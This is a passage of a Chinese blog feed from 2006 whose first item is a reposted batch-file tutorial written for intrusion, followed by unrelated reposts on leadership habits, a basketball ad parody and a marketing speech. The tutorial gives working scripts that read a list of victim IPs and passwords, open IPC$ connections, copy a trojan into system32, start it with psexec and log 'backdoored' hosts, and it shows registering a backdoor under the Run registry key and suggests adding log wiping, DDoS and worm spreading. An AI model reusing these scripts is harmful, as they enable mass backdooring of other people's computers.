				<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />代码雏形：<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<br />@echo off<br />@if "%1"=="" goto usage<br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />@goto end<br />:usage<br />@echo run this batch in dos modle.or just double-click it.<br />:end<br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------</p>
				<p>
						<br />------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<br />@net use ////%1//ipc$ %3 /u:"%2"<br />@if errorlevel 1 goto failed<br />@echo Trying to establish the IPC$ connection …………OK<br />@copy windrv32.exe////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<br />@psexec ////%1 c://winnt//system32//windrv32.exe<br />@psexec ////%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br />:failed<br />@echo Sorry can not connected to the victim.<br />----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<br />这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
				<p>二.如何在批处理文件中使用参数<br />批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。<br />sample1：fomat.bat<br />@echo off<br />if "%1"=="a" format a:<br />:format<br />@format a:/q/u/auotset<br />@echo please insert another disk to driver A.<br />@pause<br />@goto fomat<br />这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^<br />sample2：<br />当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。<br />@echo off<br />@net use ////1%//ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。<br />@if errorlevel 1 echo connection failed<br />怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3<br />三.如何使用组合命令(Compound Command)</p>
				<p>1.&amp;</p>
				<p>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]</p>
				<p>用这种方法可以同时执行多条命令，而不管命令是否执行成功</p>
				<p>Sample：<br />C://&gt;dir z: &amp; dir c://Ex4rch<br />The system cannot find the path specified.<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
				<p>Directory of c://Ex4rch</p>
				<p>2002-05-14 23:51 &lt;DIR&gt; .<br />2002-05-14 23:51 &lt;DIR&gt; ..<br />2002-05-14 23:51 14 sometips.gif</p>
				<p>2.&amp;&amp;</p>
				<p>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]</p>
				<p>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；</p>
				<p>Sample：<br />C://&gt;dir z: &amp;&amp; dir c://Ex4rch<br />The system cannot find the path specified.</p>
				<p>C://&gt;dir c://Ex4rch &amp;&amp; dir z:<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
				<p>Directory of c://Ex4rch</p>
				<p>2002-05-14 23:55 &lt;DIR&gt; .<br />2002-05-14 23:55 &lt;DIR&gt; ..<br />2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />2 Dir(s) 768,671,744 bytes free<br />The system cannot find the path specified.</p>
				<p>在做备份的时候可能会用到这种命令会比较简单，如：<br />dir <a href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</a> &amp;&amp; copy <a href="file://192.168.0.1/database/backup.mdb">file://192.168.0.1/database/backup.mdb</a> E://backup<br />如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）</p>
				<p>3.||</p>
				<p>Usage：第一条命令 || 第二条命令 [|| 第三条命令...]</p>
				<p>用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；</p>
				<p>Sample：<br />C://Ex4rch&gt;dir sometips.gif || del sometips.gif<br />Volume in drive C has no label.<br />Volume Serial Number is 0078-59FB</p>
				<p>Directory of C://Ex4rch</p>
				<p>2002-05-14 23:55 14 sometips.gif<br />1 File(s) 14 bytes<br />0 Dir(s) 768,696,320 bytes free</p>
				<p>组合命令使用的例子：<br />sample：<br />@copy trojan.exe ////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PASS %3 &gt;&gt;victim.txt</p>
				<p>四、管道命令的使用</p>
				<p>1.| 命令<br />Usage：第一条命令 | 第二条命令 [| 第三条命令...]<br />将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。</p>
				<p>sample：<br />time /t&gt;&gt;D://IP.log<br />netstat -n -p tcp|find ":3389"&gt;&gt;D://IP.log<br />start Explorer<br />看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。</p>
				<p>2.&gt;、&gt;&gt;输出重定向命令<br />将一条命令或某个程序输出结果的重定向到特定文件中, &gt; 与 &gt;&gt;的区别在于，&gt;会清除调原有文件中的内容后写入指定文件，而&gt;&gt;只会追加内容到指定文件中，而不会改动其中的内容。</p>
				<p>sample1：<br />echo hello world&gt;c://hello.txt (stupid example?)</p>
				<p>sample2:<br />时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：<br />运行CMD--转换目录到system32--dir *.exe&gt;exeback.txt &amp; dir *.dll&gt;dllback.txt,<br />这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,<br />日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.<br />这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:<br />CMD--fc
exeback.txt exeback1.txt&gt;diff.txt &amp; fc dllback.txt
dllback1.txt&gt;diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能
发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如
果有的话也不要直接DEL掉，先用regsvr32 /u
trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。</p>
				<p>3.&lt; 、&gt;&amp; 、&lt;&amp;<br />&lt; 从文件中而不是从键盘中读入命令输入。<br />&gt;&amp; 将一个句柄的输出写入到另一个句柄的输入中。<br />&lt;&amp; 从一个句柄读取输入并将其写入到另一个句柄输出中。<br />这些并不常用，也就不多做介绍。</p>
				<p>No.5<br />五.如何用批处理文件来操作注册表</p>
				<p>在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加
载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件
来操作注册表.(我们可以用批处理来生成一个REG文件)<br />关于注册表的操作，常见的是创建、修改、删除。</p>
				<p>1.创建<br />创建分为两种，一种是创建子项(Subkey)</p>
				<p>我们创建一个文件，内容如下：</p>
				<p>Windows Registry Editor Version 5.00</p>
				<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]</p>
				<p>然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创建了一个名字为“hacker”的子项。</p>
				<p>另一种是创建一个项目名称<br />那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：</p>
				<p>Windows Registry Editor Version 5.00</p>
				<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<br />"Invader"="Ex4rch"<br />"Door"=C:////WINNT////system32////door.exe<br />"Autodos"=dword:02</p>
				<p>这样就在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下<br />新建了:Invader、door、about这三个项目<br />Invader的类型是“String Value”<br />door的类型是“REG SZ Value”<br />Autodos的类型是“DWORD Value”</p>
				<p>
						<br />2.修改<br />修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。</p>
				<p>3.删除<br />我们首先来说说删除一个项目名称，我们创建一个如下的文件：</p>
				<p>Windows Registry Editor Version 5.00</p>
				<p>[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]<br />"Ex4rch"=-</p>
				<p>执行该脚本，[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"就被删除了；</p>
				<p> </p>
				<p>--------------------------------------------------------------------------------</p>
				<p>以上为转载内容</p>
				<p>%CD%   当前路径current directory<br />ITH305 <a href="http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html">http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html</a><br /> <br />批处理copy特定名称目录的内容：</p>
				<p>shark的模块有二十六个，源文件分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文件的内容导入到项目中。在家摆弄的时候总算想到个方法来自动copy这些文件。(人家分类分得好好的，我把他们合并在一起，这是搞破坏哈)<br /> <br />文件目录形式:<br />shark-1.1<br />    modules<br />        SharkAPI<br />            src<br />        SharkApplicationMapPersistence<br />            DODS<br />                src<br />            Hibernate<br />                src<br />    ...<br /> <br />cpysrc.dat<br /> <br />@echo off<br />if "X%1"=="X" goto initialize<br />goto becalled<br />:initialize<br />if exist subdirs.txt del subdirs.txt&gt;nul<br />dir /d /b /a:d&gt; subdirs.txt<br />for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i<br />del subdirs.txt&gt;nul<br />goto end<br />:becalled<br />if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s &amp;&amp; goto end<br />cd %1<br />call E:\Resource\shark-1.1\modules\cpysrc.bat<br />cd ..<br />:end<br /> <br />在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下并执行就可以。cpysrc.bat将遍历当前目录下的所有目录，并copy名为src文件夹下的所有内容到E:\JavaApp\Shark\src\。</p>
		</div>
<img src ="http://www.cnitblog.com/martin/aggbug/9461.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 17:58 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9461.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]杰出人士的20个好习惯</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9459.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 09:44:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9459.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9459.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9459.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9459.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9459.html</trackback:ping><description><![CDATA[From: http://www.cnitblog.com/SmartJacky/articles/Management.html<br /><br />    在研究大量成功企业领导者的案例后，我们发现，这些最优秀的企业领导人知道自己需要什么，并能尽全部的努力去达到自己的目标，他们懂得做人、善于决策、充
满热忱、持续创新、架构关系、激励团队以及赢得拥戴……最成功的企业家所共同具有的良好习惯和素质，使得这些企业领导人能够脱颖而出。 <br /><br />　　第一个习惯：懂得做人。会做人，别人喜欢你，愿意和你合作，才容易成事。怎么让别人喜欢自己呢？好的企业领导者都习惯于能真诚地欣赏他人的优点，对人诚实、正直、公正、和善和宽容，对其他人的生活、工作表示深切的关心与兴趣。 <br /><br />　　台湾著名企业家张忠谋在黑金横行的社会大环境下依然从来不走后门、不走政商关系，更拒绝钻法律漏洞，赢得企业界和民众的极大尊重，官员也因此从来不敢故意刁难他的企业。 <br /><br />　　第二个习惯：善于决策。面对不断变化的市场，企业经营方案总是不止一个，决策就是要对各种方案进行分析、比较，然后选择一个最佳方案。企业领导者的价值在于“做正确的事情”，同时帮助各阶层的主管“把事情做正确”。 <br /><br />　　四川长虹总裁倪润峰1996年率先拿起价格武器将彩电大幅降价，从而确立国产彩电的主导地位，正是看准市场、果断决策的典型。 <br /><br />　　第三个习惯：相信自己。成功的企业领导者都有很强的信心，他们既会在自己内心里相信自己，也会在公众面前表现出这种自信心。成功学的研究成果表明：成功的欲望是创造和拥有财富的源泉。 <br /><br />　　英特尔总裁葛洛夫认为“只有偏执狂才能生存”，坚持与自信成就了英特尔今天的伟业。 <br /><br />　
　第四个习惯：明确目标，什么是领导？世界级企管大师班尼士下了个定义：“创造一个令下属追求的前景和目标，将它转化为大家的行为，并完成或达到所追求的
前景和目标。”企业领导者们知道，要使员工能奉献于企业共同的远景，就必须使目标深植于每一个员工的心中，必须和每个员工信守的价值观相一致；否则，不可
能激发这种热情。 <br /><br />　　有“神奇教练”之称的米卢蒂诺维奇已经创造纪录，他所带的每支队伍都有一个明确的目标，就是打进世界杯的决赛圈。 <br /><br />　　第五个习惯：充满热忱。热忱有时候比领导者的才能重要，若二者兼具，则天下无敌。产生持久的热忱方法之一是定出一个目标，努力工作达到这个目标，而在达到这个目标之后，再定出另一个目标，再去努力达到。这样做可以提供兴奋和挑战，如此就可以帮助个人维持热忱而不坠。 <br /><br />　
　第六个习惯：顽强精神。如果说有一种素质几乎为所有的成功企业领导者所拥有的话那就是顽强精神。所谓顽强，并不是达到愚蠢地步的顽固，它是一种下决心要
取得结果的精神。在管理实践中，作为一个领导者，你手下的人都希望领导是一个不屈不挠的人。只有你的竞争对手希望你放弃这种精神。 <br />　第七个习
惯：重视人才。企业最好的资产是人，企业领导者的美德在于挑选好的合作伙伴。选一个适合的人，比选一个优秀的人来得重要。除了专业所必备的素质之外，他们
找人要看3种东西：一是必须精力充沛。有精神、有气派，这样的人可以走长途，可以感染人，适应变动。二是要正直。考虑个人利益的同时，能够考虑到公司的利
益。三是要有智慧和胆识，有进行思考的能力和魄力。 <br /><br />　　“萧何月下追韩信”、刘备“三顾茅庐”都是识人用人的经典例子。 <br /><br />　　第八个习惯：充分授权。人的精力是有限的，我们不可能一个人做所有的事。所以，作为一个企业领导必须学会把权力授予适当的人。授权的真正手段是要能够给人以责任、赋予权力，并要保证有一个良好的报告反馈系统。 <br /><br />　　美国前总统里根是一个出名的放任主义者，他只关注最重要的事情，将其它事情交给手下得力的人去负责，自己因此可以经常去打球、度假，但并不妨碍他成为美国历史上最伟大的总统之一。 <br /><br />　　第九个习惯：激励团队。组织起一个优秀的团队，是一件非常艰难和重要的事情。激发起他们的热情，挖掘出每一位团队成员的聪明与潜力，并将他们协调起来，是成功的领导者必须具备的一种能力。一个企业领导人必须是一个能激发起员工动力的人。 <br /><br />　　第十个习惯：终生学习。衡量企业成功的尺度是创新能力，而创新来源于不断的学习，不学习不读书就没有新思想，也就不会有新策略和正确的决策。孔子说：“朝闻道，夕死可矣。”正是终生学习的最佳写照。 <br /><br />　　第十一个习惯：持续创新。当今世界正面临着的一个非常严峻的现实是：如果你停步不前，你就会失去自己的立足之地。这一点对于任何领导或公司都是同样的道理。如果你满足于现状，你就丧失了创新能力，而创新是人类发展的主要源泉。具有创新头脑的人是不怕变革的。 <br /><br />　　耐克不断改进自己的运动鞋，以适应人类行走和奔跑的需要；不断寻找为当时年轻人所接受的明星作为代言人，希望永远被认为是“酷”的代名词，没有持续创新，已有几十年历史的耐克就会被年轻一代抛弃。 <br /><br />　
　第十二个习惯：架构关系。一个好的企业领导者习惯于架构关系。他们知道，关系已成为人际中个人成长、企业成事的重要条件与资源。关系就如同网络，构架起
人与人、群体与群体、企业与客户、企业与企业之间的互动。为了企业的发展，任何一个领导者都缺少不了“关系管理”。西方国家的大企业常常邀请其它大企业的
管理者加入自己的董事会，不仅拓宽了眼界，而且在经营管理中会得到意想不到的助力。 <br />　第十三个习惯：抓住机会。每个人都被机会包围着，但是机会只是在它们被看见时才存在，而且机会只有在被寻找时才会被看见，关键在于你如何认识机会，利用机会，抓住机会和创造这些机会。 <br /><br />　　第十四个习惯：有效沟通。邻导者与被领导者之间的有效沟通，是管理艺术的精髓。比较完美的企业领导者习惯用约70%的时间与他人沟通，剩下30%左右的时间用于分析问题和处理相关事务。他们通过广泛的沟通使员工成为一个公司事务的全面参与者。 <br /><br />　　第十五个习惯：经营未来。成功的企业领导人都懂得，未来是属于那些今天就已经为之做好准备的人。他们用20%的时间去处理眼前那些大量的紧要事情，这只是为了眼前的生计；而把80%的时间留给那些较少但很重要的事情，这是为了未来。 <br /><br />　　第十六个习惯：赢得拥戴。一个企业领导人的梦想不管如何伟大，假如没有拥戴者的认同与支持，梦想仍然只是梦想。要赢得拥戴者的首要任务就是：认同我们的拥戴者，并找出他们共同的渴望是什么？假如说领导人需要具备什么特殊天赋的话，那就是感受他人目的的能力。 <br /><br />　　第十七个习惯：勇于自制。具有高度的自制力是一种最难得的美德。热忱是促使你采取行动的重要原动力，而自制力则是指引你行动方向的平衡轮。在管理活动实践中，一个有能力管好别人的人不一定是一个好的领导者，只有那些有能力管好自己的人才能成功。 <br /><br />　　深圳万科总裁王石1992年时针对一些房地产开发商低于40%的不做的暴利心态，提出万科“高于25%的利润不做”的口号，如今万科还健康地活着，当年众多追逐暴利的企业则大部分已死掉。 <br /><br />　　第十八个习惯：培养领导。最成功的领导者是那些把工作授权给别人去做的人，是把下属培养为领导者的人，是把领导者变为变革者的人。联想集团董事长柳传志培养了两大少帅：杨元庆和郭为，使集团的事业后继有人、基业长青。 <br /><br />　
　第十九个习惯：注重家庭。比较完美的企业领导者常把家庭比作登山的后援营地。他们在筹备后援营地(家庭)上所花的时间，绝不能少于实际登山(干事业)的
时间，因为他们的生存、登山的高度，常常与后援营地是否牢固和存粮是否充足有关。这些企业领导者还懂得，全面的成功才算真正的成功，他们往往在干事业的同
时，能够兼顾家庭，珍惜幸福的婚姻。 <br /><br />　　第二十个习惯：经营健康。许多立志要成功但最后壮志难酬的企业领导人，往往是因为不能战胜一个最大的敌人，这个敌人就是自己不健康的身体。美国管理界流行着一个观点：不会管理自己身体的人亦无资格管理他人，不会经营自己健康的人就不会经营自己的事业。<br /><br />管理者必须提升八项能力 <br /><br /> <br />　　一、正直的人格魅力<br /><br />　　在中国目前的企业，职业经理人的人格魅力仍然是影响班子好坏的重要因素，只有职业经理人这个头带好了，才会带出一个好的管理队伍。<br /><br />　　二、准确的判断能力<br /><br />　　能够站在企业改革与发展的高度，对企业领导班子成员提出的众多议题表明自己新颖的思想、建设性的意见或建议，做到超前认准方向、把握好方向，齐头并进，协调健康发展。<br /><br />　　三、成熟、自信和沟通的公关能力<br /><br />　　一位成熟、自信的职业经理人应在坚持原则的前提下，把“一班人”紧紧地凝聚在一起。对外要以提高企业知名度和社会影响力为己任，善于搞好“上挂、横联、下辐射”的公关网络建设，协调沟通好社会各界关系。<br /><br />　　四、善于处理危机或突发事件的能力<br /><br />　　职业经理人应在处理突发事件中最大限度降低负面效应，减少危机对企业正常生产经营的冲击，带领员工奋发图强，走出危机笼罩的阴影。<br /><br />　　五、精通市场经济知识和把握内在规律的运作能力<br /><br />　　建立与市场经济和企业内在规律相适应的生产机制、管理机制以及与生产经营相配套的高质量的员工队伍，这就要求职业经理人必须精通市场经济知识和具备把握内在规律的运作能力。<br /><br />　　六、创新精神与战略远见<br /><br />　　职业经理人的一项重要任务就是审批企业的中长期发展战略和规划。所以职业经理人应具有挑战自我的创新精神，善于集思广益、分析和把握企业发展趋势，擅长策划、谋略和具有战略眼光。<br /><br />　　七、较强的理财能力<br /><br />　　职业经理人应具备一定的财务知识，应能看懂反映企业财政状况的各种财务报表和其他指标，严格控制支出，力争把有限的资金用于企业自身发展上。<br /><br />　　八、坚持不断“充电”<br /><br />　　作为职业经理人，要做学习培训的鼓吹者和实践者，只有不断学习、不断提高自己，才能深入和了解当今国内乃至世界上本行业的前沿情况和发展趋势，只有这样，才能保持战略性的远见卓识和高质量的决策水平。<img src ="http://www.cnitblog.com/martin/aggbug/9459.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 17:44 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9459.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]麦蒂的广告被恶搞</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9458.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 09:34:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9458.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9458.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9458.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9458.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9458.html</trackback:ping><description><![CDATA[
	
		From: http://www.cnitblog.com/zfly/archive/2006/01/19/6250.html<br /><br />　　曾经有一个绝妙的广告摆在<span class="yqlink"><font color="#000000"><u><a class="akey" title="阿迪达斯" onclick="activateYQinl(this);return false;" href="http://www.iask.com/n?k=%E9%98%BF%E8%BF%AA%E8%BE%BE%E6%96%AF" target="_blank">阿迪达斯</a></u></font></span>的面前，几乎可以成为经典。"连老天都感动得哭了。"这是一个集英雄主义、超人能力和煽情技术于一体的成功广告，但由于麦蒂的低迷状态、受伤以及火箭的连败，现在越看这个广告越像是一次讽刺。最终的结果是，广告悄悄地撤了，耐克得意地笑了。
<p>　　随后，这个广告被人在网络上恶搞，成为一个个经典笑话。当麦蒂因为太太生孩子缺席比赛后，一个改编版的广告词是："还有半场，麦蒂跑了，生儿子去了。""瞎扯，是女儿。""是儿子！""管他呢，反正是跑了。"</p>
　　一个流传最广的恶搞改编词则是："客场，剩20秒，斯威夫特站在罚篮线上。""瞎扯，是主场！""管他呢，反正球没进。""没时间喘气，鲍文带
球冲向边线，对手不屑堵截，但他仍火力十足！三分线外飙射！砰！球击中了一位摄影师。""只剩三秒！麦蒂带球冲过前场，整个球场都在呐喊助威！无人防守，
麦蒂飞了起来！出手，是左手！啊，三不沾！连老天都恶心得哭了。"<img src ="http://www.cnitblog.com/martin/aggbug/9458.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-21 17:34 <a href="http://www.cnitblog.com/martin/archive/2006/04/21/9458.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]雅戈尔副总话IT与营销</title><link>http://www.cnitblog.com/martin/archive/2006/04/21/9456.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Fri, 21 Apr 2006 09:11:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/21/9456.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9456.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/21/9456.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9456.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9456.html</trackback:ping><description><![CDATA[
		<h2>
				<b>
						<font size="4">
								<span style="text-decoration: underline;">From http://www.cnitblog.com/jialinbin/archive/2006/02/05/6438.html</span>
						</font>
				</b>
				<br />
		</h2>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;" align="center">
				<b>
						<span style="font-size: 12pt; font-family: 宋体;">在服装鞋业管理与信息化研讨会的发言</span>
				</b>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;" align="center">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;" align="center">
				<span style="font-size: 10pt; font-family: 宋体;">雅戈尔集团副总经理韩永生</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">什
么是品牌？品牌不是名牌。品牌的“品”是三个“口”，品牌就是需要老百姓用嘴来传播的。我们一直在反思自己的品牌，我们没有品牌吗？其实我们认为可能没
有，因为这个品牌没有魂。我们把品牌作为一个产品了，所以我们一直在苦苦的寻找，品牌的内核——魂，因为若神不在一切皆空。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;" align="center">
				<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">
				</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span> </p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: center;" align="center">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<b style="">
						<span style="font-size: 10pt; font-family: 宋体;">“象棋”</span>
				</b>
				<b style="">
						<span style="font-size: 10pt; font-family: Arial;" lang="EN-US">Vs</span>
				</b>
				<b style="">
						<span style="font-size: 10pt; font-family: 宋体;">“围棋”</span>
				</b>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">大
量的折扣场，不断打折的产品，谁使得我们的产品在不断地打折呢？我们的销售数量在增加，但我们的销售额却在减少，我们产品的单价在下降，很多企业都出现了
整个利润的下滑，很多企业出现了大幅度利润下滑。这是因为中国的企业通常艘是在进行“象棋式”的战争，他们的死因是自杀。</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">从
象棋和围棋，看战争和竞争，象棋——同质化竞争，围棋——差异化竞争。感悟品牌的“魂”，消费者的“梦”，马斯诺的五个需求层次。企业创造价值的方式正在
改变。我们要把魂找回来，找回品牌的“魂”，而这个魂肯定是无形的，绝不是有形的东西，因为是消费者的一个梦，所以让我们一起来努力，来圆消费者的梦，寻
找品牌的“魂”！</span>
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"> <o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-align: left;" align="left">
				<span style="font-size: 10pt; font-family: 宋体;">中
国人爱下象棋，不少中国企业也喜欢“下象棋”：你吃我一个子儿，我吃你一个子儿，把行业利润吃干净，最后把对方将死的时候自己也差不多了。而喜欢“下围
棋”的企业则会先找个空地，然后“跑马圈地”，企业间拼的不是产品和价格而是品牌、服务和社会归属感。举个汽车行业的例子。中国企业不一定去学习西方的管
理理论，在中国，老早就有孙子兵法了。孙子兵法的主题“是竞争，而不是战争。”现在是销售收入越来越高，利润越来越低。“依文”、“雅戈尔”各有各的玩
法。“竞争人心”就是竞争的力量。</span>
				<span style="font-size: 10pt; font-family: 宋体;">现在物以稀为贵，差异化很重要。奔驰车是显示身份人用的，宝马是个性化的。人家没有的，你有了，那么人家一定会选择你的。</span>
